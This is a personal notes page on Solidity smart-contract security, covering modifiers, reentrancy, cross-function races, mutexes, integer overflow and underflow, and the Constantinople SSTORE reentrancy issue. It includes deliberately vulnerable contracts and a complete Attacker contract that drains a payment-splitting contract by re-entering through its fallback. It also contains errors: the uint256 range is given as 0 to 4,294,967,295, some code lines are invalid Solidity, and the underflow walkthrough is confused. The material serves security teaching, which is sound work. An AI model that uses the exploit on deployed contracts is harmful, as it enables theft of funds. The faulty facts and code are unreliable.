Security Research

Smart Contract security research will reside here!

Function Modifiers

I found really useful example during my research on advanced solidity in smart contract which is taken from https://cryptozombies.io/en/lesson/3/chapter/3 . I'm glad to sharing with you guys!

A function modifier looks just like a function, but uses the keyword modifier instead of the keyword function. And it can't be called directly like a function can — instead we can attach the modifier's name at the end of a function definition to change that function's behavior.

Let's take a closer look by examining onlyOwner:

pragma solidity ^0.4.25;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address private _owner;

  event OwnershipTransferred(
    address indexed previousOwner,
    address indexed newOwner
  );

  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  constructor() internal {
    _owner = msg.sender;
    emit OwnershipTransferred(address(0), _owner);
  }

  /**
   * @return the address of the owner.
   */
  function owner() public view returns(address) {
    return _owner;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(isOwner());
    _;
  }

  /**
   * @return true if `msg.sender` is the owner of the contract.
   */
  function isOwner() public view returns(bool) {
    return msg.sender == _owner;
  }

  /**
   * @dev Allows the current owner to relinquish control of the contract.
   * @notice Renouncing to ownership will leave the contract without an owner.
   * It will not be possible to call the functions with the `onlyOwner`
   * modifier anymore.
   */
  function renounceOwnership() public onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);
  }

  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    _transferOwnership(newOwner);
  }

  /**
   * @dev Transfers control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function _transferOwnership(address newOwner) internal {
    require(newOwner != address(0));
    emit OwnershipTransferred(_owner, newOwner);
    _owner = newOwner;
  }
}

Notice the onlyOwner modifier on the renounceOwnership function. When you call renounceOwnership, the code inside onlyOwner executes first. Then when it hits the _; statement in onlyOwner, it goes back and executes the code inside renounceOwnership.

So while there are other ways you can use modifiers, one of the most common use-cases is to add quick require check before a function executes.

In the case of onlyOwner, adding this modifier to a function makes it so only the owner of the contract (you, if you deployed it) can call that function.

Note: Giving the owner special powers over the contract like this is often necessary, but it could also be used maliciously. For example, the owner could add a backdoor function that would allow him to transfer anyone's zombies to himself!

So it's important to remember that just because a DApp is on Ethereum does not automatically mean it's decentralized — you have to actually read the full source code to make sure it's free of special controls by the owner that you need to potentially worry about. There's a careful balance as a developer between maintaining control over a DApp such that you can fix potential bugs, and building an owner-less platform that your users can trust to secure their data.

Known Attacks

Race Conditions

One of the major dangers of calling the external contract is that they can take over the control flow, and make changes to your data that the calling function wasn't expecting.

Reentrancy

Problem: The involved function that could be called repeatedly.

Insecure code:

mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    require(msg.sender.call.value(amountToWithdraw)()); // At this point, the caller's code is executed, and can call withdrawBalance again
    userBalances[msg.sender] = 0;
}

Analysis: Since the user's balance is not set to 0 until the very end of the function, the second (and later) invocations will still succeed, and will withdraw the balance over and over again.\

Solution: The best way to avoid the problem is to use send() instead of call.value()(). This will prevent any external code from being executed.

Best practice:

Be aware of the tradeoffs between send(), transfer(), and call.value()

When sending ether be aware of the relative tradeoffs between the use of someAddress.send(), someAddress.transfer(), and someAddress.call.value()().

- someAddress.send()and someAddress.transfer() are considered safe against reentrancy. While these methods still trigger code execution, the called contract is only given a stipend of 2,300 gas which is currently only enough to log an event.

- x.transfer(y) is equivalent to require(x.send(y));, it will automatically revert if the send fails.

- someAddress.call.value(y)() will send the provided ether and trigger code execution. The executed code is given all available gas for execution making this type of value transfer unsafe against reentrancy.

Using send() or transfer() will prevent reentrancy but it does so at the cost of being incompatible with any contract whose fallback function requires more than 2,300 gas. It is also possible to use someAddress.call.value(ethAmount).gas(gasAmount)() to forward a custom amount of gas.

One pattern that attempts to balance this trade-off is to implement both a push and pull mechanism, using send() or transfer() for the push component and call.value()() for the pull component.

It is worth pointing out that exclusive use of send() or transfer() for value transfers does not itself make a contract safe against reentrancy but only makes those specific value transfers safe against reentrancy.

Informative answer from Stackoverflow

address.transfer()

  • throws on failure

  • forwards 2,300 gas stipend (not adjustable), safe against reentrancy

  • should be used in most cases as it's the safest way to send ether

address.send()

  • returns false on failure

  • forwards 2,300 gas stipend (not adjustable), safe against reentrancy

  • should be used in rare cases when you want to handle failure in the contract

address.call.value().gas()()

  • returns false on failure

  • forwards all available gas (adjustable), not safe against reentrancy

  • should be used when you need to control how much gas to forward when sending ether or to call a function of another contract

However, if you can't remove the external call, the next simplest way to prevent this attack is to make sure you don't call an external function until you've done all the internal work you need to do:

mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    userBalances[msg.sender] = 0;
    require(msg.sender.call.value(amountToWithdraw)()); // The user's balance is already 0, so future invocations won't withdraw anything
}

Note that if you had another function which called withdrawBalance(), it would be potentially subject to the same attack, so you must treat any function which calls an untrusted contract as itself untrusted. See below for further discussion of potential solutions.

  • public - all can access

  • external - Cannot be accessed internally, only externally

  • internal - only this contract and contracts deriving from it can access

  • private - can be accessed only from this contract

Cross-function Race Conditions

Problem: Similar problem, An attacker may also be able to do a similar attack using two different functions that share the same state.

Insecure code:

mapping (address => uint) private userBalances;

function transfer(address to, uint amount) {
    if (userBalances[msg.sender] >= amount) {
       userBalances[to] += amount;
       userBalances[msg.sender] -= amount;
    }
}

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    require(msg.sender.call.value(amountToWithdraw)()); // At this point, the caller's code is executed, and can call transfer()
    userBalances[msg.sender] = 0;
}

Pitfalls in Race Condition Solutions

Since race conditions can occur across multiple functions, and even multiple contracts, any solution aimed at preventing reentry will not be sufficient.

Instead, we have recommended finishing all internal work first, and only then calling the external function. This rule, if followed carefully, will allow you to avoid race conditions. However, you need to not only avoid calling external functions too soon, but also avoid calling functions which call external functions. For example, the following is insecure:

// INSECURE
mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function withdrawReward(address recipient) public {
    uint amountToWithdraw = rewardsForA[recipient];
    rewardsForA[recipient] = 0;
    require(recipient.call.value(amountToWithdraw)());
}

function getFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    rewardsForA[recipient] += 100;
    withdrawReward(recipient); // At this point, the caller will be able to execute getFirstWithdrawalBonus again.
    claimedBonus[recipient] = true;
}

Even though getFirstWithdrawalBonus() doesn't directly call an external contract, the call in withdrawReward() is enough to make it vulnerable to a race condition. You therefore need to treat withdrawReward() as if it were also untrusted.

mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function untrustedWithdrawReward(address recipient) public {
    uint amountToWithdraw = rewardsForA[recipient];
    rewardsForA[recipient] = 0;
    require(recipient.call.value(amountToWithdraw)());
}

function untrustedGetFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    claimedBonus[recipient] = true;
    rewardsForA[recipient] += 100;
    untrustedWithdrawReward(recipient); // claimedBonus has been set to true, so reentry is impossible
}

Another solution often suggested is a mutex. This allows you to "lock" some state so it can only be changed by the owner of the lock. A simple example might look like this:

// Note: This is a rudimentary example, and mutexes are particularly useful where there is substantial logic and/or shared state mapping (address => uint) private balances; bool private lockBalances;

function deposit() payable public returns (bool) {
    require(!lockBalances);
    lockBalances = true;
    balances[msg.sender] += msg.value;
    lockBalances = false;
    return true;
}

function withdraw(uint amount) payable public returns (bool) {
    require(!lockBalances && amount > 0 && balances[msg.sender] >= amount);
    lockBalances = true;

    if (msg.sender.call(amount)()) { // Normally insecure, but the mutex saves it
      balances[msg.sender] -= amount;
    }

    lockBalances = false;
    return true;
}

If the user tries to call withdraw() again before the first call finishes, the lock will prevent it from having any effect. This can be an effective pattern, but it gets tricky when you have multiple contracts that need to cooperate. The following is insecure:

// INSECURE
contract StateHolder {
    uint private n;
    address private lockHolder;

    function getLock() {
        require(lockHolder == address(0));
        lockHolder = msg.sender;
    }

    function releaseLock() {
        require(msg.sender == lockHolder);
        lockHolder = address(0);
    }

    function set(uint newState) {
        require(msg.sender == lockHolder);
        n = newState;
    }
}

!!!Important: An attacker can call getLock(), and then never call releaseLock(). If they do this, then the contract will be locked forever, and no further changes will be able to be made. If you use mutexes to protect against race conditions, you will need to carefully ensure that there are no ways for a lock to be claimed and never released. (There are other potential dangers when programming with mutexes, such as deadlocks and livelocks. You should consult the large amount of literature already written on mutexes, if you decide to go this route.)

Overflow & Underflow

Be careful with the smaller data-types like uint8, uint16, uint24...etc: they can even more easily hit their maximum value.

Overflow Attack[edit]

An overflow occurs when a number gets incremented above its maximum value. Suppose we declare an uint8 variable, which is an unsigned variable and can take up to 8 bits. This means that it can have decimal numbers between 0 and 2^8-1 = 255.

Keeping this in mind, consider the following example.

uint a = 255;

a++;

This will lead to an overflow because a’s maximum value is 255.

Solidity can handle up to 256-bit numbers. Incrementing by 1 would to an overflow situation:

This will lead to an overflow, because a’s maximum value is 255.

Solidity can handle up to 256 bit numbers. Incrementing by 1 would to an overflow situation

0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+ 0x000000000000000000000000000000000001
—————————————-
= 0x000000000000000000000000000000000000

POC:

pragma solidity ^0.4.0;

contract Overflow {
    uint8 amount;
    
    function crackYou() public{
        amount = 100;
        amount += 155;
    }
    
    function value() public view returns (uint8){
        return amount;
    }

// when crackYou function gets executed, the amount will return to 0, because it run out of range 256
}

Solutions:

mapping (address => uint256) public balanceOf;

// INSECURE
function transfer(address _to, uint256 _value) {
    /* Check if sender has balance */
    require(balanceOf[msg.sender] >= _value);
    /* Add and subtract new balances */
    balanceOf[msg.sender] -= _value;
    balanceOf[_to] += _value;
}

// SECURE

function transfer(address _to, uint256 _value) {
    /* Check if sender has balance and for overflows */
    require(balanceOf[msg.sender] >= _value && balanceOf[_to] + _value >= balanceOf[_to]);

    /* Add and subtract new balances */
    balanceOf[msg.sender] -= _value;
    balanceOf[_to] += _value;
}

Underflow Attack

First things first, let’s make sure we understand what an uint256 is. A uint256 is an unsigned integer of 256 bits (unsigned, as in only positive integers). The Ethereum Virtual Machine was designed to use 256 bits as its word size, or the number of bits processed by a computer’s CPU in one go. Because EVM is limited to 256 bits in size, the assigned number range is 0 to 4,294,967,295 (2²⁵⁶). If we go over this range, the figure is reset to the bottom of the range (2²⁵⁶ + 1 = 0). If we go under this range, the figure is reset to the top end of the range (0–1= 2²⁵⁶).

Underflow takes place when we subtract a number greater than zero from zero, resulting in a newly assigned integer of 2²⁵⁶. Now, if an attacker’s balance experiences underflow, the balance would be updated such that all funds could be stolen.

The Attack

  • The attacker initiates the attack by sending 1 Wei to the target contract

  • The contract credits the sender for funds sent

  • A subsequent withdrawal of the same 1 Wei is called

  • The contract subtracts 1 Wei from the sender’s credit, now the balance is zero again

  • Because the target contract sends ether to the attacker, the attacker’s fallback function is also trigger and a withdrawal is called again

  • The withdrawal of 1 Wei is recorded

  • The balance of the attacker’s contract has been updated twice, the first time to zero and the second time to -1

  • The attacker’s balance is reset to 2²⁵⁶

  • The attacker completes the attack by withdrawing all of the funds of the targeted contract

To avoid falling victim to an underflow attack, best practice is to check if the updated integer stays within its byte range. We can add a parameter check in our code to act as a last line of defense. The first line of function withdraw() checks for adequate funds, the second checks for overflow, and the third checks for underflow.

Solution: updates the user’s balance BEFORE sending funds, as discussed earlier.

contract babysDAO{
 
....
 
    /*withdrawal ether from contract*/
    function withdraw(uint amount) {
        if (credit[msg.sender] >= amount 
        && credit[msg.sender] + amount >= credit[msg.sender] 
        && credit[msg.sender] - amount <= credit[msg.sender]) {
        credit[msg.sender] -= amount;
        msg.sender.send(amount)();
    }
}

Constantinople Upgrade Security Research

Introduction

The upcoming Constantinople Upgrade for the ethereum network introduces cheaper gas cost for certain SSTORE operations. As an unwanted side effect, this enables reentrancy attacks when using address.transfer(...) or address.send(...) in Solidity smart contracts. Previously these functions were considered reentrancy-safe, which they aren’t any longer.

Vulnerable Smart Contract

Link: https://github.com/ChainSecurity/constantinople-reentrancy

pragma solidity ^0.5.0;

contract PaymentSharer {
  mapping(uint => uint) splits;
  mapping(uint => uint) deposits;
  mapping(uint => address payable) first;
  mapping(uint => address payable) second;

  function init(uint id, address payable _first, address payable _second) public {
    require(first[id] == address(0) && second[id] == address(0));
    require(first[id] == address(0) && second[id] == address(0));
    first[id] = _first;
    second[id] = _second;
  }

  function deposit(uint id) public payable {
    deposits[id] += msg.value;
  }

  function updateSplit(uint id, uint split) public {
    require(split <= 100);
    splits[id] = split;
  }

  function splitFunds(uint id) public {
    // Here would be: 
    // Signatures that both parties agree with this split

    // Split
    address payable a = first[id];
    address payable b = second[id];
    uint depo = deposits[id];
    deposits[id] = 0;

    a.transfer(depo * splits[id] / 100);
    b.transfer(depo * (100 - splits[id]) / 100);
  }
}

Purpse of the contract: It simulates a secure treasury sharing service. Two parties can jointly receive funds, decide on how to split them, and receive a payout if they agree*

Why this contract is vulnerable?. My understanding is the contract uses operation within transfer function

a.transfer(depo * splits[id] / 100);
b.transfer(depo * (100 - splits[id]) / 100);

Moreover the splits[id]' is dependent on updateSplit function. Therefore, the reetrancy happens at this point. The attacker can make another contract and call the updateSplit function and execute splitFunds as they want. This can be done as the following steps in the Attacker Case section.

Attack case

An attacker will create such a pair with where the first address is the attacker contract listed below and the second address is any attacker account. For this pair, the attacker will deposit some money.

1. The attacker sets the current split using updateSplit in order to make sure that the update later will be cheap. This is the effect of the Constatinople upgrade. The attacker sets the split in such a way that his first address (the contract) is supposed to receive all of the funds.

2. The attacker contract calls the splitFunds function, which will perform the checks*, and send the full deposit of this pair to the contract using a transfer.

3. From to the fallback function, the attacker updates the split again, this time assigning all funds to his second account.

4. The execution of splitFunds continues and the full desposit is also transferred to the second attacker account.

pragma solidity ^0.5.0;

import "./PaymentSharer.sol";

contract Attacker {
  address private victim;
  address payable owner;

  constructor() public {
    owner = msg.sender;
  }

  function attack(address a) external {
    victim = a;
    PaymentSharer x = PaymentSharer(a);
    x.updateSplit(0, 100);
    x.splitFunds(0);
  }

  function () payable external {
    address x = victim;
    assembly{
        mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
        pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
    }    
  }

  function drain() external {
    owner.transfer(address(this).balance);
  }
}

Conditions

1. There must be a function A, in which a transfer/send is followed by a state-changing operation. This can sometimes be non-obvious, e.g. a second transfer or an interaction with another smart contract.

2. There has to be a function B accessible from the attacker which (a) changes state and (b) whose state changes conflict with those of function A.

3. Function B needs to be executable with less than 1600 gas (2300 gas stipend - 700 gas for the CALL).

Solutions

Check if our contract is vulnerable regarding this attack

(a) check if there are any operations following a transfer event.

(b) check if those operations change storage state, most often by assigning some storage variable. If you are calling another contract, e.g. a tokens transfer method, check which variables are modified. Make a list.

(c) check if any other method accessible from non-admins in your contract uses one of these variables

(d) check if these methods change storage state themselves

(e) check if the method is below 2300 in gas, keeping in mind that SSTORE operations are potentially only 200 gas.

If all of this is the case, it is likely that an attacker can cause your contract to get into an undesirable state. Overall, this is another reminder why the Checks-Effects-Interactions Pattern is so important. (https://solidity.readthedocs.io/en/v0.5.2/security-considerations.html#use-the-checks-effects-interactions-pattern)

This is my solution, this should fix the issue for afore vulnerable smart contract.

function splitFunds(uint id) public {
  // Here would be: 
  // Signatures that both parties agree with this split
  // Split
  address payable a = first[id];
  address payable b = second[id];
  uint split = splits[id]; --> added
  uint depo = deposits[id];
  deposits[id] = 0;
  a.transfer(depo * split / 100);  --> edited
  b.transfer(depo * (100 — split) / 100);  -->edited
}

The splits[id] is now initialized to a certain variable. Because whenever you make .transfer() or .send() to an address that is a contract, you are calling its fallback method, a reentrancy attack is when an attacker makes a contract where the fallback method calls the contract again, possibly taking money again if the state isn't updated before the call.

Lesson learned

After Constantinople, storage operations which are changing “dirty” storage slots cost only 200 gas. To cause a storage slot to be dirty, it has to be changed during the ongoing transaction. As shown above, this can often be achieved by an attacker contract through calling some public function which changes the required variable. Afterwards, by causing the vulnerable contract to call the attacker contract e.g. with msg.sender.transfer(...) the attacker contract can use the 2300 gas stipend to manipulate the vulnerable contract’s variable successfully.

I admitted that this does not mean that .transfer() and .send() all of the sudden vulnerable to reentrancy attack, a lot of things have to line up in order to execute this kind of an attack as I've just described on afore Conditions section; However, we should re-pen testing our smart contract that already went live, be said by chainsecurity - A scan of the main ethereum blockchain using the data available from eveem.org did not uncover vulnerable smart contracts. We are working together with members of the ethsecurity.org working group to expand this scan to the complex smart contracts which haven’t been decompiled yet. Especially decentralized exchanges which frequently call ether transfer functions to untrusted accounts followed by state changes afterwards might be vulnerable .

PreviousSaving gasNextSmart Contract Audit

Last updated